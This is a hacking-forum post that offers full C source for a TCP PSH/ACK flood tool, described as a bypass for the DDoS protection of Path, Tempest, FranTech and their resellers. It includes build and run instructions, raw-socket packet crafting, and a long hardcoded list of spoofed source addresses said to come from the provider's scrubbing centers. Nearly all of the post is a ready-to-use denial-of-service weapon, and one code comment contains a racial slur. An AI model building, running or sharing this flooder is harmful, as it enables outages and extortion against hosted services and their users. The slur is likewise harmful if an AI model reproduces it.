PATH TCP BYPASS [BBOS]
by - Thursday, January 1, 1970 at 12:00 AM
Hewwo people on telegram gatekeep this method alot so im going to leak an even better version of it >.<

it works on tempest,frantech,paths and any path reseller (send to a tcp service)

server requirements:
1gbit/s port

2cores
IPHM enabled

how to use:
gcc -o path path.c -pthread
./path <target> <port> <threads> <pps> <time>
// path & all path reseller bypass (TCP), uses src ips from path api and path scrubbing centers (insane bypass) with straight psh,ack to cause retransmission (bigger bbos)
// originaly made by jiepz ages ago, modified by me >w<
#include <unistd.h>
#include <time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>
#include <pthread.h>
#include <netinet/tcp.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <netinet/if_ether.h>
#include <netdb.h>
#include <net/if.h>
#include <arpa/inet.h>

#define MAX_PACKET_SIZE 4096
#define PHI 0x9e3779b9

static unsigned long int Q[4096], c = 362436;
static unsigned int floodport;
volatile int limiter;
volatile unsigned int pps;
volatile unsigned int sleeptime = 100;

void init_rand(unsigned long int x)
{
    int i;
    Q[0] = x;
    Q[1] = x + PHI;
    Q[2] = x + PHI + PHI;
    for (i = 3; i < 4096; i++){ Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i; }
}
unsigned long int rand_cmwc(void)
{
    unsigned long long int t, a = 18782LL;
    static unsigned long int i = 4095;
    unsigned long int x, r = 0xfffffffe;
    i = (i + 1) & 4095;
    t = a * Q[i] + c;
    c = (t >> 32);
    x = t + c;
    if (x < c) {
        x++;
        c++;
    }
    return (Q[i] = r - x);
}

unsigned short csum (unsigned short *buf, int count)
{
    register unsigned long sum = 0;
    while( count > 1 ) { sum += *buf++; count -= 2; }
    if(count > 0) { sum += *(unsigned char *)buf; }
    while (sum>>16) { sum = (sum & 0xffff) + (sum >> 16); }
    return (unsigned short)(~sum);
}

int sourceports[]= {80,443,3306,8080,23,53,67,179};
uint16_t checksum_tcpudp(struct iphdr *iph, void *buff, uint16_t data_len, int len)
{
    const uint16_t *buf = buff;
    uint32_t ip_src = iph->saddr;
    uint32_t ip_dst = iph->daddr;
    uint32_t sum = 0;
    int length = len;

    while (len > 1)
    {
        sum += *buf;
        buf++;
        len -= 2;
    }

    if (len == 1)
        sum += *((uint8_t *)buf);

    sum += (ip_src >> 16) & 0xFFFF;
    sum += ip_src & 0xFFFF;
    sum += (ip_dst >> 16) & 0xFFFF;
    sum += ip_dst & 0xFFFF;
    sum += htons(iph->protocol);
    sum += data_len;

    while (sum >> 16)
        sum = (sum & 0xFFFF) + (sum >> 16);

    return ((uint16_t)(~sum));
}

unsigned short tcpcsum(struct iphdr *iph, struct tcphdr *tcph) {

    struct tcp_pseudo
    {
        unsigned long src_addr;
        unsigned long dst_addr;
        unsigned char zero;
        unsigned char proto;
        unsigned short length;
    } pseudohead;
    unsigned short total_len = iph->tot_len;
    pseudohead.src_addr=iph->saddr;
    pseudohead.dst_addr=iph->daddr;
    pseudohead.zero=0;
    pseudohead.proto=IPPROTO_TCP;
    pseudohead.length=htons(sizeof(struct tcphdr));
    int totaltcp_len = sizeof(struct tcp_pseudo) + sizeof(struct tcphdr);
    unsigned short *tcp = malloc(totaltcp_len);
    memcpy((unsigned char *)tcp,&pseudohead,sizeof(struct tcp_pseudo));
    memcpy((unsigned char *)tcp+sizeof(struct tcp_pseudo),(unsigned char *)tcph,sizeof(struct tcphdr));
    unsigned short output = csum(tcp,totaltcp_len);
    free(tcp);
    return output;
}

int randnum(int min_num, int max_num)
{
    int result = 0, low_num = 0, hi_num = 0;

    if (min_num < max_num)
    {
        low_num = min_num;
        hi_num = max_num + 1;
    } else {
        low_num = max_num + 1;
        hi_num = min_num;
    }


    result = (rand_cmwc() % (hi_num - low_num)) + low_num;
    return result;
}

void setup_ip_header(struct iphdr *iph)
{
    iph->ihl = 5;
    iph->version = 4;
    iph->tos = 0;
    iph->tot_len = sizeof(struct iphdr) + sizeof(struct tcphdr);
    iph->id = htonl(30000 + rand_cmwc() % 38323);
    iph->frag_off = 0;
    iph->ttl = 52; //lower time to live = bypass nigger
    iph->protocol = 6;
    iph->check = 0;
    iph->saddr = inet_addr("192.168.3.100");
}

void setup_tcp_header(struct tcphdr *tcph)
{
    int WIN = randnum(1000, 64932);
    tcph->source = htons(sourceports); //i implemented these above checksum
    tcph->seq = 0;
    tcph->ack_seq = 1;
    tcph->res2 = 0;
    tcph->doff = 5;
    tcph->ack = 1;
    tcph->psh = 1;
    tcph->window = WIN;
    tcph->check = 0;
    tcph->urg_ptr = 0;
}

void *flood(void *par1)
{
    char *td = (char *)par1;
    char datagram[MAX_PACKET_SIZE];
    struct iphdr *iph = (struct iphdr *)datagram;
    struct tcphdr *tcph = (void *)iph + sizeof(struct iphdr);
   
    struct sockaddr_in sin;
    sin.sin_family = AF_INET;
    sin.sin_port = htons(floodport);
    sin.sin_addr.s_addr = inet_addr(td);

    int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);
    if(s < 0){
        fprintf(stderr, "Could not open raw socket.
");
        exit(-1);
    }
    memset(datagram, 0, MAX_PACKET_SIZE);
    setup_ip_header(iph);
    setup_tcp_header(tcph);

    tcph->dest = htons(floodport);

    iph->daddr = sin.sin_addr.s_addr;
    iph->check = csum ((unsigned short *) datagram, iph->tot_len);

    int tmp = 1;
    const int *val = &tmp;
    if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof (tmp)) < 0){
        fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!
");
        exit(-1);
    }

    init_rand(time(NULL));
    register unsigned int i;
    i = 0;
   
    int class[]= {3453806352,3453806358,3460800459,2427212352,2427212396,2427212351,2807604475,2807604269,2427212464,2427212448,2427212533,2427212430,2427212337,2807604383,2427212454,2427212478,2427212363,2427212442,2807604266,2807604270,2427212343,2427212395,2427212291,2807604324,2807604267,2427212393,2807604294,2427212497,2807604373,2427212414,2807604441,2427212482,2807604418,2807604351,2427212417,2427212506,2807604319,2807604402,2807604233,2427212308,2427212474,2427212475,2807604384,2807604303,2807604387,2427212411,2807604350,2807604473,2807604240,2427212371,2427212348,2807604232,2807604276,2427212446,2427212490,2427212434,2427212398,2807604306,2427212481,2807604251,2427212386,2427212508,2807604477,2427212330,2807604229,2427212376,2807604444,2807604320,2807604391,2427212483,2807604378,2807604252,2427212447,2427212314,2427212461,2807604265,2807604380,2427212476,2427212297,2807604408,2427212438,2427212364,2807604401,2807604472,2807604368,2427212301,2427212360,2427212293,2807604318,2807604372,2807604422,2427212487,2427212305,2427212391,2807604260,2427212323,2807604410,2427212470,2427212368,2807604356,2427212459,2807604227,2807604344,2807604315,2807604305,2807604397,2807604275,2427212531,2807604282,2807604242,2807604382,2807604236,2427212289,2427212418,2427212521,2807604289,2807604335,2807604239,2807604244,2427212436,2427212507,2807604247,2427212296,2427212341,2807604262,2427212449,2427212423,2427212431,2807604235,2427212522,2807604253,2807604307,2427212400,2427212496,2807604452,2807604381,2807604280,2807604314,2807604273,2427212463,2427212535,2807604443,2807604302,2427212410,2427212408,2807604394,2427212310,2427212298,2427212472,2427212527,2807604365,2807604415,2427212479,2427212344,2427212467,2427212444,2427212318,2807604437,2427212511,2807604386,2807604291,2427212309,2427212405,2427212321,2807604278,2427212412,2807604342,2427212457,2807604429,2807604309,2427212373,2807604272,2427212361,2427212441,2807604255,2807604412,2807604451,2427212473,2427212505,2807604336,2807604470,2807604457,2427212319,2807604354,2427212492,2427212390,2807604263,2427212377,2807604459,2807604295,2807604438,2807604340,2427212540,2427212526,2427212312,2807604312,2807604346,2427212365,2807604369,2427212409,2807604323,2427212516,2807604338,2807604334,2807604398,2427212307,2427212432,2807604331,2807604322,2807604478,2807604339,2807604292,2427212370,2807604299,2807604268,2807604425,2427212452,2427212359,2807604313,2427212486,2427212404,2807604464,2427212514,2807604421,2427212362,2807604432,2427212421,2427212420,2807604453,2427212509,2427212317,2427212539,2427212384,2427212356,2807604228,2427212327,2427212429,2427212407,2427212388,2807604285,2427212426,2807604332,2807604468,2807604246,2427212346,2807604224,2807604460,2427212542,2427212519,2807604357,2807604449,2427212541,2807604436,2807604245,2807604416,2807604337,2807604328,2427212439,2807604392,2807604325,2427212520,2427212340,2807604450,2427212456,2807604301,2807604238,2807604264,2427212466,2427212443,2807604329,2427212491,2807604454,2807604254,2427212389,2807604434,2807604396,2427212480,2427212366,2807604461,2427212437,2427212504,2807604420,2427212357,2807604474,2807604446,2807604231,2807604375,2427212333,2427212378,2427212494,2807604288,2427212292,2807604463,2807604393,2427212394,2427212358,2427212419,2427212537,2427212288,2807604406,2807604333,2807604407,2807604366,2427212477,2807604321,2807604359,2807604286,2807604225,2427212510,2807604423,2807604427,2427212515,2427212299,2427212455,2807604327,2427212369,2427212406,2807604399,2427212402,2427212322,2427212383,2807604479,2427212495,2807604469,2807604256,2427212345,2807604317,2807604310,2807604379,2427212435,2807604417,2427212354,2427212315,2807604389,2807604341,2807604234,2807604476,2427212523,2427212331,2807604330,2807604297,2427212471,2807604433,2427212385,2427212499,2427212424,2427212350,2427212367,2427212320,2427212381,2427212303,2427212453,2427212489,2807604298,2427212488,2427212342,2807604271,2807604277,2427212524,2427212503,2427212413,2807604456,2427212324,2427212460,2807604435,2427212403,2427212462,2807604405,2807604352,2807604364,2427212529,2427212512,2427212306,2427212534,2807604348,2807604311,2807604259,2807604400,2807604293,2427212416,2427212465,2807604439,2427212339,2427212468,2807604237,2807604442,2807604296,2807604300,2427212458,2427212316,2427212380,2807604355,2427212328,2427212532,2427212392,2807604371,2427212338,2427212536,2807604304,2807604257,2427212450,2807604258,2427212295,2807604290,2807604414,2427212329,2427212374,2807604431,2427212445,2427212335,2427212349,2427212501,2807604249,2807604448,2807604287,2427212451,2807604308,2807604428,2427212290,2427212415,2807604411,2427212502,2427212525,2807604465,2427212372,2807604430,2427212498,2427212382,2807604358,2807604377,2427212334,2807604326,2427212528,2427212543,2427212355,2427212304,2807604281,2427212427,2807604353,2807604409,2427212379,2807604471,2807604374,2807604248,2427212428,2807604376,2427212347,2427212336,2427212469,2427212326,2427212302,2807604274,2807604363,2807604283,2807604390,2807604462,2807604347,2807604445,2807604349,2807604413,2807604230,2807604440,2427212425,2427212440,2807604367,2427212313,2807604404,2807604261,2427212294,2427212397,2427212518,2427212353,2807604466,2807604226,2427212300,2427212493,2427212433,2427212513,2807604343,2427212399,2807604424,2807604361,2427212332,2427212311,2427212422,2427212387,2807604345,2807604241,2807604316,2807604360,2807604385,2807604403,2807604455,2807604362,2427212375,2807604388,2807604395,2807604419,2427212325,2427212500,2807604250,2807604447,2807604467,2427212485,2807604243,2807604458,2427212401,2807604279,2807604370,2427212484,2807604426,2427212530,2427212517,2807604284,2427212538,,3460800460,3460800461,3460800462,3460800463,3460800464,3460800465,3460800466,3460800467,3460800468,3460800469,3460800470,3460800471,3460800472,3460800473,3460800474,3460800475,3460800476,3460800477,3460800478,3460800479,3460800480,3460800481,3460800482,3460800483,3460800484,3460800485,3460800486,3460800487,3460800488,3460800489,3460800490,3460800491,3460800492,3460800493,3460800494,3460800495,3460800496,3460800497,3460800498,3460800499,3460800500,3460800501,3460800502,3460800503,3460800504,3460800505,3460800506,3460800507,3460800508,3460800509,3460800510,3460800511,1077170594,2398945244,2398945152,1077170683,2398945092,3451040087,3451040254,3451040240,2398945269,1077170482,1077170505,1077170480,2398945071,1077170438,3451040002,1077170526,1077170536,1077170606,3451040113,3451040223,3451040201,3451040168,3451040227,1077170449,3451040054,3451040146,2398945145,3451040220,3451040161,3451040029,3451040181,2398945026,3451040208,3451040036,2398945089,1077170600,1077170684,2398945275,3451040052,1077170565,3451040147,1077170475,3451040182,3451040100,2398945080,1077170446,2398945031,3451040235,3451040154,1077170611,3451040047,3451040129,1077170681,3451040019,2398945234,3451040010,2398945187,2398945164,2398945255,2398945123,3451040177,3451040169,2398945076,2398945196,3451040142,2398945083,3451040144,1077170443,2398945193,1077170464,3451040203,3451040050,3451040012,2398945252,3451040216,3451040204,3451040245,1077170481,2398945204,3451040023,2398945130,1077170442,3451040070,1077170498,3451040205,2398945198,3451040028,3451040081,1077170465,1077170616,2398945028,2398945117,3451040011,1077170490,3451040043,1077170538,3451040018,1077170609,2398945154,1077170508,1077170473,2398945268,1077170500,3451040139,2398945126,3451040140,3451040059,3451040125,2398945155,2398945175,3451040094,3451040072,3451040057,1077170548,1077170554,2398945054,1077170547,3451040097,2398945184,1077170457,3451040164,3451040252,2398945262,3451040003,1077170603,3451040078,3451040098,3451040042,3451040149,3451040026,1077170458,3451040055,1077170469,1077170448,2398945061,3451040086,1077170439,3451040150,1077170653,2398945081,2398945165,2398945053,2398945046,3451040234,2398945274,3451040076,2398945062,2398945251,3451040093,1077170452,1077170588,3451040079,1077170636,3451040074,2398945264,2398945150,1077170627,2398945205,2398945097,2398945279,1077170491,2398945058,2398945137,3451040041,1077170644,3451040134,2398945114,3451040062,2398945220,3451040170,2398945266,2398945032,2398945087,2398945156,3451040118,2398945161,2398945086,3451040196,3451040014,1077170447,1077170524,2398945109,1077170478,2398945079,2398945256,1077170527,3451040024,2398945134,3451040114,3451040213,3451040037,2398945270,3451040084,2398945167,1077170531,2398945231,3451040136,3451040217,3451040015,3451040152,3451040242,3451040179,2398945180,3451040189,1077170540,1077170444,1077170614,1077170504,3451040040,1077170566,3451040111,1077170639,1077170512,2398945159,3451040215,2398945223,2398945181,1077170460,2398945093,1077170583,2398945233,3451040082,1077170677,1077170472,3451040135,3451040207,2398945273,2398945113,3451040073,1077170631,1077170624,3451040080,2398945106,2398945066,3451040053,3451040032,3451040106,2398945221,1077170559,3451040194,3451040068,3451040209,2398945186,2398945278,2398945047,1077170607,1077170581,2398945049,3451040255,1077170582,3451040236,1077170513,3451040228,3451040191,3451040039,1077170622,1077170672,1077170463,2398945094,2398945217,2398945250,1077170626,3451040138,2398945101,1077170517,1077170501,1077170434,2398945226,3451040200,1077170533,3451040103,1077170560,2398945107,1077170651,3451040038,1077170620,1077170685,2398945171,2398945035,2398945230,1077170455,3451040105,3451040025,1077170453,2398945069,3451040107,2398945258,2398945261,2398945098,1077170433,2398945096,1077170674,1077170476,3451040175,3451040225,2398945030,3451040071,3451040145,1077170515,1077170615,2398945168,3451040124,2398945170,3451040192,1077170535,2398945142,2398945199,2398945143,3451040251,1077170587,1077170586,2398945149,1077170521,3451040005,3451040061,3451040131,3451040033,3451040013,3451040067,1077170623,2398945240,2398945025,3451040007,2398945057,1077170572,2398945121,1077170573,2398945246,3451040102,1077170493,2398945108,1077170680,2398945173,2398945048,1077170502,3451040137,1077170544,1077170466,2398945052,1077170511,2398945103,3451040188,2398945158,1077170474,1077170661,2398945179,3451040184,3451040090,2398945160,1077170509,3451040017,1077170596,2398945147,2398945263,3451040183,1077170595,1077170628,2398945135,1077170470,3451040158,2398945090,2398945125,3451040250,3451040233,2398945169,2398945042,1077170456,2398945157,2398945208,1077170522,2398945172,1077170461,3451040174,1077170597,3451040031,1077170494,2398945127,3451040224,2398945074,3451040049,1077170629,3451040237,1077170487,1077170432,2398945038,1077170634,2398945219,2398945064,2398945116,1077170462,3451040163,2398945072,3451040083,1077170567,2398945254,2398945033,1077170621,3451040048,1077170525,2398945178,2398945183,1077170437,1077170568,3451040239,3451040171,1077170510,1077170562,1077170656,2398945129,1077170543,2398945141,1077170612,3451040126,2398945039,1077170599,1077170667,1077170635,2398945227,3451040211,2398945194,2398945132,2398945075,2398945045,3451040120,1077170585,2398945146,2398945271,2398945188,2398945044,2398945249,2398945128,3451040000,1077170489,3451040108,3451040092,1077170523,2398945232,1077170556,1077170483,3451040128,3451040221,2398945043,1077170660,1077170648,3451040212,2398945277,1077170649,3451040222,1077170641,1077170507,2398945115,3451040202,2398945027,2398945162,1077170590,1077170530,2398945138,3451040247,3451040157,1077170445,2398945119,3451040219,1077170657,3451040130,1077170589,3451040218,3451040187,1077170637,3451040230,2398945122,1077170580,3451040241,3451040186,2398945229,1077170608,1077170553,2398945067,1077170550,2398945102,3451040069,3451040226,2398945182,2398945088,1077170671,3451040133,2398945070,1077170668,3451040160,2398945100,2398945104,2398945056,3451040193,3451040214,3451040001,3451040091,1077170534,2398945216,1077170497,1077170652,3451040075,1077170669,1077170555,2398945077,1077170450,1077170602,1077170542,2398945200,3451040238,1077170436,1077170576,1077170471,3451040035,2398945276,3451040143,2398945133,2398945228,3451040020,3451040190,1077170655,3451040119,2398945176,2398945248,1077170520,2398945112,2398945110,2398945214,1077170645,3451040122,1077170598,1077170638,3451040253,3451040115,1077170663,1077170570,1077170563,1077170632,1077170662,1077170577,1077170529,2398945063,1077170541,2398945051,2398945091,1077170552,2398945243,1077170539,2398945202,3451040132,2398945241,2398945207,3451040165,3451040162,1077170451,2398945257,2398945059,3451040085,3451040104,3451040066,1077170496,2398945034,3451040166,2398945203,2398945095,2398945166,1077170528,2398945131,2398945068,1077170503,2398945050,2398945206,3451040077,3451040195,2398945029,1077170454,1077170486,3451040009,3451040016,2398945037,3451040148,2398945236,3451040121,3451040021,2398945036,1077170558,2398945235,2398945073,3451040058,1077170666,2398945140,3451040034,3451040153,1077170545,1077170593,1077170647,3451040141,1077170488,1077170642,3451040246,3451040101,2398945078,3451040063,2398945210,2398945148,2398945185,2398945265,3451040199,3451040173,3451040123,1077170584,3451040185,2398945260,2398945118,3451040004,1077170643,1077170537,1077170495,1077170676,3451040096,2398945213,2398945041,2398945153,3451040088,1077170610,1077170485,3451040232,2398945191,3451040045,2398945253,3451040176,1077170519,3451040008,2398945060,2398945190,1077170633,1077170441,2398945247,2398945224,2398945105,3451040206,1077170575,1077170479,2398945082,2398945151,1077170532,1077170561,3451040231,2398945111,2398945272,3451040064,1077170619,2398945225,1077170682,1077170604,2398945189,3451040060,1077170516,1077170687,3451040243,3451040095,2398945192,3451040180,1077170592,1077170625,2398945099,3451040089,1077170618,3451040127,2398945209,3451040229,2398945055,1077170591,1077170574,2398945215,1077170514,1077170670,2398945242,2398945218,2398945239,2398945040,1077170605,3451040116,1077170675,2398945222,3451040109,2398945211,3451040046,1077170601,1077170484,1077170578,1077170659,2398945084,1077170459,3451040044,1077170571,2398945120,3451040117,3451040155,2398945267,1077170686,3451040244,3451040172,3451040198,3451040178,1077170640,1077170435,2398945177,3451040027,2398945197,1077170477,1077170467,1077170557,2398945065,3451040159,3451040051,1077170679,2398945136,1077170658,3451040022,3451040249,2398945085,3451040197,1077170518,1077170499,1077170564,2398945174,2398945163,2398945259,3451040006,3451040110,2398945245,3451040151,3451040248,2398945237,3451040112,2398945144,1077170630,1077170650,3451040065,1077170551,1077170664,3451040099,1077170440,3451040210,1077170569,2398945238,3451040056,1077170673,1077170506,1077170678,2398945139,1077170654,3451040030,2398945195,1077170492,2398945201,1077170579,1077170546,2398945124,1077170665,1077170646,1077170617,2398945212,1077170468,1077170549,2398945024,3451040156,3451040167,1077170613};
   
    while(1){
        sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *) &sin, sizeof(sin));

        int randWin = randnum(1000, 65535);
        iph->saddr = htonl(class[rand_cmwc()%64]); //64 is the count of decimals
        iph->id = htonl(30000 + rand_cmwc() % 38323);
        iph->check = csum ((unsigned short *) datagram, iph->tot_len);
        tcph->source = htons(sourceports);
        tcph->check = tcpcsum(iph, tcph);
        tcph->seq = 0;
        tcph->ack_seq = 1;
        tcph->res2 = 0;
        tcph->doff = 5;
        tcph->ack = 1;
        tcph->psh = 1;
        tcph->window = randWin;
        tcph->check = 0;
        tcph->urg_ptr = 0;
       
        if (floodport == 0)
        {
            tcph->dest = htons(rand_cmwc() % 0xFFFF);
        }
        else
        {
        tcph->dest = htons(floodport);
        }
        tcph->check = 0;
          tcph->check = checksum_tcpudp(iph, tcph, htons(sizeof(struct tcphdr)), sizeof(struct tcphdr));
       
        pps++;
        if(i >= limiter)
        {
            i = 0;
            usleep(sleeptime);
        }
        i++;
    }
}
int main(int argc, char *argv[ ])
{
    if(argc < 6){
        fprintf(stderr, "Path-tcp bypass
");
        fprintf(stdout, "Syntax: %s <target> <port> <threads> <pps> <time>
", argv[0]);
        exit(-1);
    }

    fprintf(stdout, "Setting up Sockets...
");

    int num_threads = atoi(argv[3]);
    floodport = atoi(argv[2]);
    int maxpps = atoi(argv[4]);
    limiter = 0;
    pps = 0;
    pthread_t thread[num_threads];
   
    int multiplier = 20;

    int i;
    for(i = 0;i<num_threads;i++){
        pthread_create( &thread[i], NULL, &flood, (void *)argv[1]);
    }
    fprintf(stdout, "Starting Flood...
");
    for(i = 0;i<(atoi(argv[5])*multiplier);i++)
    {
        usleep((1000/multiplier)*1000);
        if((pps*multiplier) > maxpps)
        {
            if(1 > limiter)
            {
                sleeptime+=100;
            } else {
                limiter--;
            }
        } else {
            limiter++;
            if(sleeptime > 25)
            {
                sleeptime-=25;
            } else {
                sleeptime = 0;
            }
        }
        pps = 0;
    }

    return 0;
}
Arx &lt;3 Punk
Reply


 Users viewing this thread: PATH TCP BYPASS [BBOS]: No users currently viewing.